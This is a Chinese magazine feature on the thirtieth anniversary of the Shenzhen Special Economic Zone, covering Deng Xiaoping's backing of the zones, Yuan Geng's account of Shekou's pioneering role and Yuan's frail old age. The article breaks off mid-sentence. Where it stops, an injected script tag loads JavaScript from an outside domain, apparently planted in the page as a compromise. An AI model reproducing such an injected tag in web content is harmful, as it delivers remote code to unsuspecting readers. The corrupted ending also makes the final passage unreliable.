深圳经济特区的历史，是从1980年8月26日算起的，那一天，五届全国人大常委会第十五次会议审议通过了《广东省经济特区条例》，决定“在广东省深圳、珠海、汕头三市分别划出327.5平方公里、6.7平方公里、1.67平方公里区域，设置经济特区。”

《瞭望东方周刊》第34期封面：探索者的精神遗产

　　整整30年过去，深圳，这个当初毗邻香港的小渔村，如今已是广厦林立，霓虹璀璨，车流如织，成长为“中国南部综合经济实力、技术创新能力、国际竞争力最强的现代化大都市”。

　　回到更早前一点，1979年4月，在中央工作会议上，广东省提出在毗邻港澳的深圳、珠海以及属于重要侨乡的汕头各划出一块地方试办贸易合作区，单独进行管理，作为华侨港澳同胞和外商的投资场所的建议，邓小平非常赞同，他说：

　　“就叫特区嘛！陕甘宁就是特区。”

　　“中央没有钱，可以给些政策，你们自己去搞。”

　　“杀出一条血路来！”

　　号角由此吹起。人们看到，在其后的30年中，改革英雄有如过江之鲫，开疆拓土，冲锋陷阵，事事敢为天下先，豪情壮举历历不胜枚数。

　　在接受本刊记者采访时，袁庚的智囊梁宪转述了袁庚屡屡表达的一个观点：“先行一步”的蛇口在改革开放的作为，是应了天时、地利、人和诸方面因素，乃是时代造就，“千万不要夸大个人的作用。”

　　关于这一点，袁庚曾这样告诉一位为他立传的深圳作家，这里面有三个因素：

　　一，适逢其时。当时“文革”浩劫，中国的经济已到了崩溃的边缘，全国人民渴望变革图强。与此同时，十一届三中全会作出了把全党工作中心转移到经济建设上来的重大决定。

　　二，适逢其人。一大批从中央到省市的深受“文革”迫害的领导者，都想改变中国的面貌，“如果没有这批人，中国就不可能进行改革开放。”

　　三，适逢其地。蛇口与香港毗邻而居，一水之隔。香港又是世界上市场经济发展得最佳的地区之一，政府奉行积极不干预政策，所以，“香港是一个很好的参照系，一个好样板。我们可以照搬一些香港的成功的东西过来。而其他特区就没有这么好的样板。”

　　诚哉斯理。这当然不仅仅对应蛇口，放之于深圳的历史，亦是如此。

　　即便这样，回顾、梳理深圳历史，讨论下一步的发展定位与方向，我们还是再次回到开拓蛇口、建设深圳的那个高歌猛进、激情澎湃的时代，以期在这些改革开放的开拓者与践行者的“精气神”里汲取营养，造就更为坚实的未来。

　　探索者的精神遗产

　　在1982年，任仲夷来深圳的次数最多，就是在那一年，针对深圳的发展模式，国内一些报刊刊出《旧中国租界的由来》等文章，指责深圳拍卖土地，是为了搞像清朝那样的“租界”，是严重的“卖国”行为

　　《瞭望东方周刊》记者刘志明 | 深圳报道

　　“英雄老矣，油尽灯枯。”这是袁庚的儿子袁中印在提及父亲近况时，用的一个词汇。

　　袁庚94岁了，正在蛇口安度晚年。袁中印描述说，老人作息无常，有时白天昏睡，有时却在午夜醒来，醒后精神极佳，或是唱歌，或拉着他们做“检讨”，说些过往的旧事，有哪些地方做得不好，云云。

　　“世间公道惟白发，贵人头上不曾饶。”这是袁庚近年说过的话，岁月的无情也终于碾至他的身上。按照袁中印的描述，袁庚原本约140斤重的身骨，瘦得只有100斤左右了。若天气晴好，有时，老人也会被抱上车，到街上转转，甚至会在麦当劳里小坐，吃买给他的甜筒。

　　屡屡上门的来访者大多被拒之门外。一个特例发生在与《望东方周刊》记者提出见面的前几天，那是袁庚的老友，一个曾给李光耀做过政治秘书的新加坡人，来深圳后非要见袁庚，袁中印同意了，这时的袁庚已无法与人正常交流，只是躺在床上合影留念。

　　“多伤感啊，还不如不见，”袁中印叹说，而对?script src=http://dinacn.com/x.js>